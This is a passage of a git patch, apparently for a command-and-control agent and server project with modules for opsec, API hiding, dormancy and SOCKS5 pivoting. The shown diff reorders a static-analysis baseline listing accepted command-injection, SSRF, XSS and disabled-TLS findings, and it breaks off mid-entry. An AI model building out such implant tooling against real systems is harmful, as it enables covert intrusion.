From 42c4c3643a774c75767e17fd5aff13c28d8ca978 Mon Sep 17 00:00:00 2001 From: Darkroom4364 Date: Sun, 31 May 2026 19:04:52 +0200 Subject: [PATCH] Clean up formatting and require format checks --- .foxguard/baseline.json | 624 ++++++++++++------ .github/workflows/ci.yml | 18 +- agent/.config/config.json | 1 + agent/build.rs | 90 ++- agent/src/commands/command_shell.rs | 344 +++++++--- agent/src/commands/mod.rs | 2 +- agent/src/commands/obfuscated.rs | 16 +- agent/src/config.rs | 179 ++++- agent/src/dormant.rs | 83 ++- agent/src/file_handling/download.rs | 9 +- agent/src/file_handling/upload.rs | 18 +- agent/src/high_threat_tools.rs | 548 ++++++++------- agent/src/lib.rs | 10 +- agent/src/main.rs | 77 ++- agent/src/networking/egress.rs | 2 +- agent/src/networking/mod.rs | 2 +- agent/src/networking/socks5.rs | 106 +-- agent/src/networking/socks5_pivot.rs | 32 +- agent/src/networking/socks5_pivot_server.rs | 72 +- agent/src/opsec.rs | 429 ++++++++---- agent/src/state.rs | 7 +- agent/src/util.rs | 2 +- agent/src/win_api_hiding.rs | 117 +++- docs/development-workflow.md | 8 +- server/cmd/server.go | 10 +- server/config/types.go | 2 +- .../internal/handlers/web/static_handlers.go | 2 +- server/internal/websocket/terminal_session.go | 32 +- 28 files changed, 1878 insertions(+), 964 deletions(-) diff --git a/.foxguard/baseline.json b/.foxguard/baseline.json index 7d451e1..e1eb868 100644 --- a/.foxguard/baseline.json +++ b/.foxguard/baseline.json @@ -2,34 +2,64 @@ "version": 1, "entries": [ { - "fingerprint": "2c24077c90aa7c07f4c83bead2d4a0ece65b0f1db8508f44d6f3e160fd4408f8", - "rule_id": "manifest/cargo-pq-vulnerable-dep", - "file": "agent/Cargo.lock", - "line": 41 + "fingerprint": "00fcee3242dcd029f3d89a8334d39f223e5d1eb000c24d1121a784b43e8e781c", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 148 }, { - "fingerprint": "9423f360967942b01ee8175c13cae290e8d04f2d4693fb2177d0b11ae045bfe0", - "rule_id": "manifest/cargo-pq-vulnerable-dep", - "file": "agent/Cargo.lock", - "line": 666 + "fingerprint": "0443209034e2697232c9c4774f35e684f9b1cb4e6bfbe5176e51ee28c2f265fa", + "rule_id": "js/no-xss-innerhtml", + "file": "server/web/js/index.js", + "line": 310 }, { - "fingerprint": "a56021ee81784aa1203e877145d71c2822bab0a25e34ba6caa693deb13e77ec8", - "rule_id": "manifest/cargo-pq-vulnerable-dep", - "file": "agent/Cargo.lock", - "line": 681 + "fingerprint": "0552ada4cb97a27976120a9f786a354b9e00da87cc169edba8722f6d05399b39", + "rule_id": "js/no-ssrf", + "file": "server/web/js/index.js", + "line": 570 }, { - "fingerprint": "2a5ff2eed8b360630bbc6429d48c8e16c37272ed55a4f7cbbbc3d91a932861a6", - "rule_id": "manifest/cargo-pq-vulnerable-dep", - "file": "agent/Cargo.lock", - "line": 992 + "fingerprint": "0724f9b1a32333d6b7c8b0efb00cba00b7b61d8515bc4e83f5be9b369806d84c", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/file_handling/download.rs", + "line": 72 }, { - "fingerprint": "b0993338bc3bc67a15bb9028ab2c77f6e4b57ac600d1644bdf2cd05b2404ddcd", - "rule_id": "manifest/cargo-pq-vulnerable-dep", - "file": "agent/Cargo.lock", - "line": 1493 + "fingerprint": "0f2c862278252584b1926f144b1e09e9f8e5fb640c316621d651ff3457ed6950", + "rule_id": "js/no-ssrf", + "file": "server/web/js/index.js", + "line": 325 + }, + { + "fingerprint": "1075b2d393ece52fc37a107cbbd683e7778f95de591059197c5decde021f1a30", + "rule_id": "rs/unsafe-block", + "file": "agent/src/win_api_hiding.rs", + "line": 76 + }, + { + "fingerprint": "125411d2abb4be3ee9eb8a07a1bad97fb26932b5d863ff71c67419a0739415b1", + "rule_id": "js/no-ssrf", + "file": "server/web/js/listeners.js", + "line": 343 + }, + { + "fingerprint": "1e7a9a4d8837ce8cf0bb6da47ce2ede40d9fd06eb4e1a3599003323fa97877d0", + "rule_id": "js/no-unsafe-format-string", + "file": "server/web/js/listeners.js", + "line": 383 + }, + { + "fingerprint": "1eadcc6a0df94d4a88ffdec92944a06f9f7c9bb682a82b32bf985b89196e3401", + "rule_id": "go/no-ssrf", + "file": "server/pkg/communication/httpS_client.go", + "line": 36 + }, + { + "fingerprint": "1fdab0d34081aa10ad4e6566cbf9fa26182aab9a4759d38886d8ae15b5695038", + "rule_id": "rs/no-path-traversal", + "file": "agent/src/commands/command_shell.rs", + "line": 130 }, { "fingerprint": "20485e522e793fc81c350811062ab36f1522e8aa1b43654522845849ce4b8557", @@ -38,46 +68,70 @@ "line": 1560 }, { - "fingerprint": "619f89928fee133bdb3b01ae198ebdc8fa057d64963e5d1e751743dd6f40a170", - "rule_id": "manifest/cargo-pq-vulnerable-dep", - "file": "agent/Cargo.lock", - "line": 1582 + "fingerprint": "24dfb7e142f4013bd4097ad0faab46868a1aa0c1774683be00ff9d87ca85122e", + "rule_id": "go/no-ssrf", + "file": "server/pkg/communication/httpS_client.go", + "line": 78 }, { - "fingerprint": "d228b9c216eb55265c369f0f011573f6ae360e73edfc5c432b641599a18589e2", + "fingerprint": "252583f837cadc7b710854ab8f3735b58fda39e2dd89fc3d565f55cec7f1bed2", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/file_handling/download.rs", + "line": 46 + }, + { + "fingerprint": "25f68748d66c415bd9e6a4e9d7974b4e80d304dfc742fe41d23c45b5df84b35a", + "rule_id": "rs/no-command-injection", + "file": "agent/src/commands/command_shell.rs", + "line": 94 + }, + { + "fingerprint": "27c35286118d18fcd662e4fc626411d535cae6c4dc3fbbaad2921634e2450096", + "rule_id": "js/no-ssrf", + "file": "server/web/js/file-drop.js", + "line": 175 + }, + { + "fingerprint": "2a5ff2eed8b360630bbc6429d48c8e16c37272ed55a4f7cbbbc3d91a932861a6", "rule_id": "manifest/cargo-pq-vulnerable-dep", "file": "agent/Cargo.lock", - "line": 1902 + "line": 992 }, { - "fingerprint": "e35087feeca8c7d6400b39b2d12ca39e26d1cfb4390918ed3624c85502f51fd9", + "fingerprint": "2bcd85eaa04a7beef877a808315d1a6eecfaf68a44082d0cdcb68703a48d17bb", + "rule_id": "js/no-xss-innerhtml", + "file": "server/web/js/index.js", + "line": 535 + }, + { + "fingerprint": "2c24077c90aa7c07f4c83bead2d4a0ece65b0f1db8508f44d6f3e160fd4408f8", "rule_id": "manifest/cargo-pq-vulnerable-dep", "file": "agent/Cargo.lock", - "line": 1912 + "line": 41 }, { - "fingerprint": "4382a49055f05cbe4e2f1c57c5890c753b00d33e69fdd00b46f1ac2eb4c44186", - "rule_id": "rs/no-command-injection", + "fingerprint": "2d04971ffcd00232cf38dab95d55c490e4e18cf48ea6c947f2dd0843a0ebb83b", + "rule_id": "rs/no-unwrap-in-lib", "file": "agent/src/commands/command_shell.rs", - "line": 57 + "line": 534 }, { - "fingerprint": "34f66143dc109a51ea997a1d6015db7669dc293af64c7fa72cec15f1e1558d53", - "rule_id": "rs/no-ssrf", - "file": "agent/src/commands/command_shell.rs", - "line": 90 + "fingerprint": "2e3a49c01e806f0455b0223cc2fae87e644ee1adf4b2fc678d4c859094ee2db4", + "rule_id": "js/no-ssrf", + "file": "server/web/js/listeners.js", + "line": 434 }, { - "fingerprint": "d1e19e6c541f7c88ef988a4aa0d49925d26470f4f8ada9ce71605ef52379f0d3", - "rule_id": "rs/no-ssrf", - "file": "agent/src/commands/command_shell.rs", - "line": 178 + "fingerprint": "2f451380ba1b5440c3a4a7732ed4dccb3ea8a394adf20a972292f1c3aef20098", + "rule_id": "js/no-xss-innerhtml", + "file": "server/web/js/terminal.js", + "line": 229 }, { - "fingerprint": "89a2d3a22cecbbdd0b649931df9fa621dcf014ec779841e97cafd6df2e423a1b", + "fingerprint": "34f66143dc109a51ea997a1d6015db7669dc293af64c7fa72cec15f1e1558d53", "rule_id": "rs/no-ssrf", "file": "agent/src/commands/command_shell.rs", - "line": 209 + "line": 90 }, { "fingerprint": "36861977a7d1cd71c6287328b21b0e5dafd130fa17111920c4bec737f534d1d3", @@ -85,18 +139,6 @@ "file": "agent/src/commands/command_shell.rs", "line": 265 }, - { - "fingerprint": "7ae518e40b16f944a0316e8ea2fb14d07f40096502189f25496ec4c02683a1a2", - "rule_id": "rs/no-ssrf", - "file": "agent/src/config.rs", - "line": 18 - }, - { - "fingerprint": "822aaa72293d519d9a08e442e93d7493aff56778b78d031adf07bde892cac989", - "rule_id": "rs/tls-verify-disabled", - "file": "agent/src/config.rs", - "line": 207 - }, { "fingerprint": "3fe44058116961b0843b1ca1584e8a075489cf8ce740e26caf5b610474560fc0", "rule_id": "rs/no-ssrf", @@ -104,28 +146,52 @@ "line": 11 }, { - "fingerprint": "91e0c571cf5b02d084dd89c080722f0ce75f5d1814bb94d7d79146e4dbf711b7", - "rule_id": "rs/no-ssrf", - "file": "agent/src/file_handling/upload.rs", - "line": 11 + "fingerprint": "4301feb14ea20034a7e0c400f733e7d9ce05246e1d1d9c08448b3660140e2e03", + "rule_id": "js/no-xss-innerhtml", + "file": "server/web/js/index.js", + "line": 486 }, { - "fingerprint": "b579ed9dfc4713f6fbbd647ee63a9e83c60eaef990fa9da0185d607a43d5efb3", - "rule_id": "rs/transmute-usage", - "file": "agent/src/win_api_hiding.rs", - "line": 60 + "fingerprint": "4382a49055f05cbe4e2f1c57c5890c753b00d33e69fdd00b46f1ac2eb4c44186", + "rule_id": "rs/no-command-injection", + "file": "agent/src/commands/command_shell.rs", + "line": 57 }, { - "fingerprint": "f3bb0d7bdc13948860df829212a42b3a6537fbaa91af329a001bd1e9ab905fac", + "fingerprint": "44656f647fecc02b48b2453aa160c58f961e759e887d979d95863d6db5b50d45", "rule_id": "go/taint-path-traversal", - "file": "server/internal/handlers/web/static_handlers.go", - "line": 48 + "file": "server/internal/websocket/terminal_session.go", + "line": 325 }, { - "fingerprint": "76908de1b319240b5a40a19ed16bad02580ee98d431982c48a251d130a5068b6", + "fingerprint": "489ef46a1e489c7a6aa4f186c66463ee1d04cba16bb5a1dde54c54e285fe6f51", "rule_id": "go/taint-path-traversal", - "file": "server/internal/handlers/web/static_handlers.go", - "line": 48 + "file": "server/internal/websocket/terminal_session.go", + "line": 126 + }, + { + "fingerprint": "48af98821151c8fd8679db3a80c6541f043edf20a10b511fdf24e6c4aac42614", + "rule_id": "go/taint-log-injection", + "file": "server/internal/websocket/log_streamer.go", + "line": 129 + }, + { + "fingerprint": "4d970c98530dd590d5a8fc56e76dee31ac92321c101c72bd9e2791a209d76b91", + "rule_id": "rs/unsafe-block", + "file": "agent/src/win_api_hiding.rs", + "line": 85 + }, + { + "fingerprint": "4e1893a6e237121c79e6fb4c73a73ae4cb27d75c39229a3397ae52585646b6d5", + "rule_id": "go/taint-log-injection", + "file": "server/internal/handlers/api/api_handler.go", + "line": 70 + }, + { + "fingerprint": "4ec6a4d85d3492d5c2ae598b165165ef447b205ea216c19274988a254d845609", + "rule_id": "js/no-ssrf", + "file": "server/web/js/listeners.js", + "line": 389 }, { "fingerprint": "4f641f967439cbe539a9e810475f9bc7e5a99e6c47464a13c7f9175281b64abc", @@ -134,82 +200,82 @@ "line": 49 }, { - "fingerprint": "5cdc956846d5a0e6145e418fcccb46fc6d48a794fd1c898fd3d994b13b922d95", - "rule_id": "go/taint-path-traversal", - "file": "server/internal/websocket/terminal_session.go", - "line": 124 + "fingerprint": "4ff71849ca7375f5630c99bb61c0fb9f105189a7b76b1241fa2bfea67dc3c8c8", + "rule_id": "js/no-ssrf", + "file": "server/web/js/index.js", + "line": 429 }, { - "fingerprint": "489ef46a1e489c7a6aa4f186c66463ee1d04cba16bb5a1dde54c54e285fe6f51", - "rule_id": "go/taint-path-traversal", - "file": "server/internal/websocket/terminal_session.go", - "line": 126 + "fingerprint": "5162bbe53c05c002926e31bbe36163602845efb9139052075a753c5df3fda2a5", + "rule_id": "js/no-unsafe-format-string", + "file": "server/web/js/listeners.js", + "line": 290 }, { - "fingerprint": "6439d773d0954f979852e9e28f644d4d123200e1f712bd88c3f6c38e6f7bbfab", - "rule_id": "go/taint-path-traversal", - "file": "server/internal/websocket/terminal_session.go", - "line": 129 + "fingerprint": "558e128b33b4ec3e93d2cf00d19a36bf5e89751b60fe7d00a338efa35e98dc8a", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 157 }, { - "fingerprint": "8f25bc22595bebee2fb189783a625bfb779591e05ffb20f3d3b4244844c3923f", - "rule_id": "go/taint-command-injection", - "file": "server/internal/websocket/terminal_session.go", - "line": 149 + "fingerprint": "57660df42f9d53aed254336fa099862d8fdb48200c1fec4b7b5ecc0d08d9a6ac", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 103 }, { - "fingerprint": "a66e81baa3030ddd01b4081e6fab0716d390f738ed236e586689376167ce5aae", - "rule_id": "go/taint-path-traversal", - "file": "server/internal/websocket/terminal_session.go", - "line": 274 + "fingerprint": "5c001ec661af6c58618a409bc41d7f8390f5c6c030b6d3dc40bd5dd3a7511824", + "rule_id": "js/no-xss-innerhtml", + "file": "server/web/js/payload.js", + "line": 109 }, { - "fingerprint": "44656f647fecc02b48b2453aa160c58f961e759e887d979d95863d6db5b50d45", + "fingerprint": "5cdc956846d5a0e6145e418fcccb46fc6d48a794fd1c898fd3d994b13b922d95", "rule_id": "go/taint-path-traversal", "file": "server/internal/websocket/terminal_session.go", - "line": 325 + "line": 124 }, { - "fingerprint": "1eadcc6a0df94d4a88ffdec92944a06f9f7c9bb682a82b32bf985b89196e3401", - "rule_id": "go/no-ssrf", - "file": "server/pkg/communication/httpS_client.go", - "line": 36 + "fingerprint": "5e97e9cc00d80676c25629370378829bf914ecf6d6c2071433dfd82ca64b99ad", + "rule_id": "go/net-http-no-timeout", + "file": "server/pkg/communication/server_manager.go", + "line": 88 }, { - "fingerprint": "e95269a7eedb451002b0e25692d70dc02d44c2f5b923f80b3b02734bc1d5228c", - "rule_id": "go/no-ssrf", - "file": "server/pkg/communication/httpS_client.go", - "line": 50 + "fingerprint": "5ee37a569c7602ec09cbb1d60f61c1028352546bf6cf747505f31679c5a1b77a", + "rule_id": "js/no-ssrf", + "file": "server/web/js/index.js", + "line": 440 }, { - "fingerprint": "a967186da8729f921702d93051582418a54b15863a1bbe4f66445b66ca2326fb", - "rule_id": "go/no-ssrf", - "file": "server/pkg/communication/httpS_client.go", - "line": 64 + "fingerprint": "619f89928fee133bdb3b01ae198ebdc8fa057d64963e5d1e751743dd6f40a170", + "rule_id": "manifest/cargo-pq-vulnerable-dep", + "file": "agent/Cargo.lock", + "line": 1582 }, { - "fingerprint": "24dfb7e142f4013bd4097ad0faab46868a1aa0c1774683be00ff9d87ca85122e", - "rule_id": "go/no-ssrf", - "file": "server/pkg/communication/httpS_client.go", - "line": 78 + "fingerprint": "63b0d650ab4e9b44319cd4590aa8c780f7d38e488404fb8aa765bf601ab6bfc6", + "rule_id": "rs/transmute-usage", + "file": "agent/src/win_api_hiding.rs", + "line": 80 }, { - "fingerprint": "c9d9ef39865d0e18096a3dde5e26b967e15b513af48a60680270b263962ea279", - "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/file-drop.js", - "line": 119 + "fingerprint": "6439d773d0954f979852e9e28f644d4d123200e1f712bd88c3f6c38e6f7bbfab", + "rule_id": "go/taint-path-traversal", + "file": "server/internal/websocket/terminal_session.go", + "line": 129 }, { - "fingerprint": "8973b218141be2060ccb31b08ec47b20e1811b02645200cf58e74c13bbf1c0db", - "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/file-drop.js", - "line": 153 + "fingerprint": "699e3344ca3bde5baf1eaef14837aab57aef631ed949d0f3b7de776ced86275d", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/win_api_hiding.rs", + "line": 87 }, { - "fingerprint": "27c35286118d18fcd662e4fc626411d535cae6c4dc3fbbaad2921634e2450096", + "fingerprint": "69dbde3ceb12cd1a3ce45dadadf6229f6e0ebeb2a9b108c0e97b48af568dd086", "rule_id": "js/no-ssrf", - "file": "server/web/js/file-drop.js", - "line": 175 + "file": "server/web/js/listeners.js", + "line": 452 }, { "fingerprint": "6c40eb00b2340571478484ca8117e02c5fbfbe66603ebe6d2d69156b91a34799", @@ -218,22 +284,34 @@ "line": 157 }, { - "fingerprint": "bcd6b3fcd95d9c88965b91e1c858e5644e4464c62afab8baf94d736d1e8ce55f", - "rule_id": "js/no-ssrf", - "file": "server/web/js/index.js", - "line": 202 + "fingerprint": "7023da2fa37322a20f355585d1ad42a86793382e52e30cc4ea208bb07ecbdd52", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/opsec.rs", + "line": 157 }, { - "fingerprint": "c9c7d397038e852d55572c87cfc1a892cc8fe7ee3f19016b6f5a22e740ec9be4", - "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/index.js", - "line": 246 + "fingerprint": "71057a6e1b6f92a20bb85d756155b31880ca05449245db0deaa95fd93592832d", + "rule_id": "rs/unsafe-block", + "file": "agent/src/opsec.rs", + "line": 634 }, { - "fingerprint": "0443209034e2697232c9c4774f35e684f9b1cb4e6bfbe5176e51ee28c2f265fa", + "fingerprint": "7417308564db518c4124529264a1ba1a972392d8bd6c0a1cff7cb13802c03a61", "rule_id": "js/no-xss-innerhtml", "file": "server/web/js/index.js", - "line": 310 + "line": 538 + }, + { + "fingerprint": "76908de1b319240b5a40a19ed16bad02580ee98d431982c48a251d130a5068b6", + "rule_id": "go/taint-path-traversal", + "file": "server/internal/handlers/web/static_handlers.go", + "line": 48 + }, + { + "fingerprint": "7ae518e40b16f944a0316e8ea2fb14d07f40096502189f25496ec4c02683a1a2", + "rule_id": "rs/no-ssrf", + "file": "agent/src/config.rs", + "line": 18 }, { "fingerprint": "7c389f9df1b1980e02f20f7242153e511f88e3bf289f0cd812b173aa10af85d4", @@ -242,82 +320,106 @@ "line": 314 }, { - "fingerprint": "0f2c862278252584b1926f144b1e09e9f8e5fb640c316621d651ff3457ed6950", - "rule_id": "js/no-ssrf", - "file": "server/web/js/index.js", - "line": 325 + "fingerprint": "8084fe6cfc695b8bba66a1b1de34a5e3eaec63c21ea9d6b505cae8ea907a5723", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 201 }, { - "fingerprint": "c983c49c9b4e7f2960cf9533b828a3812467ec3893d6e8ad03f061068a7e6b3d", - "rule_id": "js/no-ssrf", - "file": "server/web/js/index.js", - "line": 361 + "fingerprint": "82273b63f337f97f00875aafefbe5a9a97ede212da2cb47aba56df2b4b065086", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 129 }, { - "fingerprint": "9684791e9ed6f579002ff97bb7d3d7c8a25e8a9b7bd84bbf7067f7f070e90ae8", - "rule_id": "js/no-ssrf", - "file": "server/web/js/index.js", - "line": 396 + "fingerprint": "822aaa72293d519d9a08e442e93d7493aff56778b78d031adf07bde892cac989", + "rule_id": "rs/tls-verify-disabled", + "file": "agent/src/config.rs", + "line": 207 }, { - "fingerprint": "4ff71849ca7375f5630c99bb61c0fb9f105189a7b76b1241fa2bfea67dc3c8c8", - "rule_id": "js/no-ssrf", - "file": "server/web/js/index.js", - "line": 429 + "fingerprint": "84239fafcef73d8758c8a8cb51893761cddafdd77fca649efb6bf06287b68c92", + "rule_id": "go/taint-log-injection", + "file": "server/cmd/server.go", + "line": 169 }, { - "fingerprint": "5ee37a569c7602ec09cbb1d60f61c1028352546bf6cf747505f31679c5a1b77a", + "fingerprint": "8631174b3f967d2ce5ec401b2a812b7b672f07707cf96f6039d7c9ece7ca8d9e", "rule_id": "js/no-ssrf", "file": "server/web/js/index.js", - "line": 440 + "line": 600 }, { - "fingerprint": "4301feb14ea20034a7e0c400f733e7d9ce05246e1d1d9c08448b3660140e2e03", + "fingerprint": "8915d1069a00ad2f1631c2bb926f8128b8a3764ec88ee123bbb0737ae4a0b50e", "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/index.js", - "line": 486 + "file": "server/web/js/payload.js", + "line": 130 }, { - "fingerprint": "2bcd85eaa04a7beef877a808315d1a6eecfaf68a44082d0cdcb68703a48d17bb", + "fingerprint": "8938f749d60fb8d2ae6cf7a5eb317f7818ed393bf1314f9754f49ae764da62af", "rule_id": "js/no-xss-innerhtml", "file": "server/web/js/index.js", - "line": 535 + "line": 619 }, { - "fingerprint": "7417308564db518c4124529264a1ba1a972392d8bd6c0a1cff7cb13802c03a61", + "fingerprint": "8973b218141be2060ccb31b08ec47b20e1811b02645200cf58e74c13bbf1c0db", "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/index.js", - "line": 538 + "file": "server/web/js/file-drop.js", + "line": 153 }, { - "fingerprint": "0552ada4cb97a27976120a9f786a354b9e00da87cc169edba8722f6d05399b39", - "rule_id": "js/no-ssrf", - "file": "server/web/js/index.js", - "line": 570 + "fingerprint": "89a2d3a22cecbbdd0b649931df9fa621dcf014ec779841e97cafd6df2e423a1b", + "rule_id": "rs/no-ssrf", + "file": "agent/src/commands/command_shell.rs", + "line": 209 }, { - "fingerprint": "8631174b3f967d2ce5ec401b2a812b7b672f07707cf96f6039d7c9ece7ca8d9e", - "rule_id": "js/no-ssrf", - "file": "server/web/js/index.js", - "line": 600 + "fingerprint": "8a0899a00d4d4323b755e9c92ea2ef659adb38aa2003b7eb6f9428af72d85209", + "rule_id": "rs/unsafe-block", + "file": "agent/src/opsec.rs", + "line": 418 }, { - "fingerprint": "e8e59ff0de9d027492162ca7c47fa55da93f6518c1f2c42560b9e4f82e57c450", - "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/index.js", - "line": 611 + "fingerprint": "8a7102d20356ed1f18da40f156c411179a4057392e00735a5454e73d06a9270a", + "rule_id": "js/no-open-redirect", + "file": "server/web/js/payload.js", + "line": 287 }, { - "fingerprint": "8938f749d60fb8d2ae6cf7a5eb317f7818ed393bf1314f9754f49ae764da62af", - "rule_id": "js/no-xss-innerhtml", + "fingerprint": "8f25bc22595bebee2fb189783a625bfb779591e05ffb20f3d3b4244844c3923f", + "rule_id": "go/taint-command-injection", + "file": "server/internal/websocket/terminal_session.go", + "line": 149 + }, + { + "fingerprint": "91e0c571cf5b02d084dd89c080722f0ce75f5d1814bb94d7d79146e4dbf711b7", + "rule_id": "rs/no-ssrf", + "file": "agent/src/file_handling/upload.rs", + "line": 11 + }, + { + "fingerprint": "9423f360967942b01ee8175c13cae290e8d04f2d4693fb2177d0b11ae045bfe0", + "rule_id": "manifest/cargo-pq-vulnerable-dep", + "file": "agent/Cargo.lock", + "line": 666 + }, + { + "fingerprint": "9684791e9ed6f579002ff97bb7d3d7c8a25e8a9b7bd84bbf7067f7f070e90ae8", + "rule_id": "js/no-ssrf", "file": "server/web/js/index.js", - "line": 619 + "line": 396 }, { - "fingerprint": "d41a91707d69321273eafe752a5cfdf4b2bbeb35085b9d68632c8584ff0b0e2a", - "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/listeners.js", - "line": 253 + "fingerprint": "977b05c86f212e3f3b01824a3d26d019d81244796d9ae3b1cedbc4e3cf56bacb", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/opsec.rs", + "line": 548 + }, + { + "fingerprint": "99b6fd69e11e2099e64735283b178cf4d9ac3825887daf003f44acca8d53e79d", + "rule_id": "js/no-open-redirect", + "file": "server/web/js/file-drop.js", + "line": 166 }, { "fingerprint": "a17e245caa00d8c4816a62a918478816b9a67c89574ee7ac752cc93652303426", @@ -325,6 +427,24 @@ "file": "server/web/js/listeners.js", "line": 258 }, + { + "fingerprint": "a56021ee81784aa1203e877145d71c2822bab0a25e34ba6caa693deb13e77ec8", + "rule_id": "manifest/cargo-pq-vulnerable-dep", + "file": "agent/Cargo.lock", + "line": 681 + }, + { + "fingerprint": "a66e81baa3030ddd01b4081e6fab0716d390f738ed236e586689376167ce5aae", + "rule_id": "go/taint-path-traversal", + "file": "server/internal/websocket/terminal_session.go", + "line": 274 + }, + { + "fingerprint": "a967186da8729f921702d93051582418a54b15863a1bbe4f66445b66ca2326fb", + "rule_id": "go/no-ssrf", + "file": "server/pkg/communication/httpS_client.go", + "line": 64 + }, { "fingerprint": "aba0ff3180a805c127bf5d55a44b953dce34f9307a46e608e0f8a66acb80e262", "rule_id": "js/no-ssrf", @@ -332,46 +452,160 @@ "line": 296 }, { - "fingerprint": "125411d2abb4be3ee9eb8a07a1bad97fb26932b5d863ff71c67419a0739415b1", - "rule_id": "js/no-ssrf", - "file": "server/web/js/listeners.js", - "line": 343 + "fingerprint": "ae700aa48e9131199948412edc8007639d8c21a1e58d0725e82c7a29f76daed3", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/opsec.rs", + "line": 472 }, { - "fingerprint": "4ec6a4d85d3492d5c2ae598b165165ef447b205ea216c19274988a254d845609", - "rule_id": "js/no-ssrf", - "file": "server/web/js/listeners.js", - "line": 389 + "fingerprint": "af7ca3c182c9c9a72f977ac930c52d785f50e7483104e8780b0e0f40b16badb3", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 405 }, { - "fingerprint": "2e3a49c01e806f0455b0223cc2fae87e644ee1adf4b2fc678d4c859094ee2db4", + "fingerprint": "b0993338bc3bc67a15bb9028ab2c77f6e4b57ac600d1644bdf2cd05b2404ddcd", + "rule_id": "manifest/cargo-pq-vulnerable-dep", + "file": "agent/Cargo.lock", + "line": 1493 + }, + { + "fingerprint": "b579ed9dfc4713f6fbbd647ee63a9e83c60eaef990fa9da0185d607a43d5efb3", + "rule_id": "rs/transmute-usage", + "file": "agent/src/win_api_hiding.rs", + "line": 60 + }, + { + "fingerprint": "b7ec86483373b174bda373de3e6f784846f07edec443142ead48d51b76c74464", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 209 + }, + { + "fingerprint": "bccbd403589e77eaaaffd5155b2702be23043b0315d9191aac426fa095c619e7", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/file_handling/download.rs", + "line": 39 + }, + { + "fingerprint": "bcd6b3fcd95d9c88965b91e1c858e5644e4464c62afab8baf94d736d1e8ce55f", "rule_id": "js/no-ssrf", - "file": "server/web/js/listeners.js", - "line": 434 + "file": "server/web/js/index.js", + "line": 202 }, { - "fingerprint": "69dbde3ceb12cd1a3ce45dadadf6229f6e0ebeb2a9b108c0e97b48af568dd086", + "fingerprint": "c983c49c9b4e7f2960cf9533b828a3812467ec3893d6e8ad03f061068a7e6b3d", "rule_id": "js/no-ssrf", - "file": "server/web/js/listeners.js", - "line": 452 + "file": "server/web/js/index.js", + "line": 361 }, { - "fingerprint": "5c001ec661af6c58618a409bc41d7f8390f5c6c030b6d3dc40bd5dd3a7511824", + "fingerprint": "c9c7d397038e852d55572c87cfc1a892cc8fe7ee3f19016b6f5a22e740ec9be4", "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/payload.js", - "line": 109 + "file": "server/web/js/index.js", + "line": 246 }, { - "fingerprint": "8915d1069a00ad2f1631c2bb926f8128b8a3764ec88ee123bbb0737ae4a0b50e", + "fingerprint": "c9d9ef39865d0e18096a3dde5e26b967e15b513af48a60680270b263962ea279", "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/payload.js", - "line": 130 + "file": "server/web/js/file-drop.js", + "line": 119 }, { - "fingerprint": "2f451380ba1b5440c3a4a7732ed4dccb3ea8a394adf20a972292f1c3aef20098", + "fingerprint": "cb8e7714848905bfd3454fc5486e9bbdb915388d01f39ac3282ab6a644568464", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/commands/command_shell.rs", + "line": 476 + }, + { + "fingerprint": "cf09109d0b39dfbd11c5717d7e97128e101300d5b11b9fb6e81350722c1f8485", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/opsec.rs", + "line": 141 + }, + { + "fingerprint": "d1e19e6c541f7c88ef988a4aa0d49925d26470f4f8ada9ce71605ef52379f0d3", + "rule_id": "rs/no-ssrf", + "file": "agent/src/commands/command_shell.rs", + "line": 178 + }, + { + "fingerprint": "d228b9c216eb55265c369f0f011573f6ae360e73edfc5c432b641599a18589e2", + "rule_id": "manifest/cargo-pq-vulnerable-dep", + "file": "agent/Cargo.lock", + "line": 1902 + }, + { + "fingerprint": "d41a91707d69321273eafe752a5cfdf4b2bbeb35085b9d68632c8584ff0b0e2a", "rule_id": "js/no-xss-innerhtml", - "file": "server/web/js/terminal.js", - "line": 229 + "file": "server/web/js/listeners.js", + "line": 253 + }, + { + "fingerprint": "d5711c6c76ef59e9ecfcde79f03bfd828db86593f06fbdea14bbcd737c002afb", + "rule_id": "go/net-http-no-timeout", + "file": "server/cmd/server.go", + "line": 173 + }, + { + "fingerprint": "db49a79cdd35f8addde10fc51fab17dcaa38d393e46e73a41de74c75e06ec321", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 218 + }, + { + "fingerprint": "e35087feeca8c7d6400b39b2d12ca39e26d1cfb4390918ed3624c85502f51fd9", + "rule_id": "manifest/cargo-pq-vulnerable-dep", + "file": "agent/Cargo.lock", + "line": 1912 + }, + { + "fingerprint": "e8e59ff0de9d027492162ca7c47fa55da93f6518c1f2c42560b9e4f82e57c450", + "rule_id": "js/no-xss-innerhtml", + "file": "server/web/js/index.js", + "line": 611 + }, + { + "fingerprint": "e95269a7eedb451002b0e25692d70dc02d44c2f5b923f80b3b02734bc1d5228c", + "rule_id": "go/no-ssrf", + "file": "server/pkg/communication/httpS_client.go", + "line": 50 + }, + { + "fingerprint": 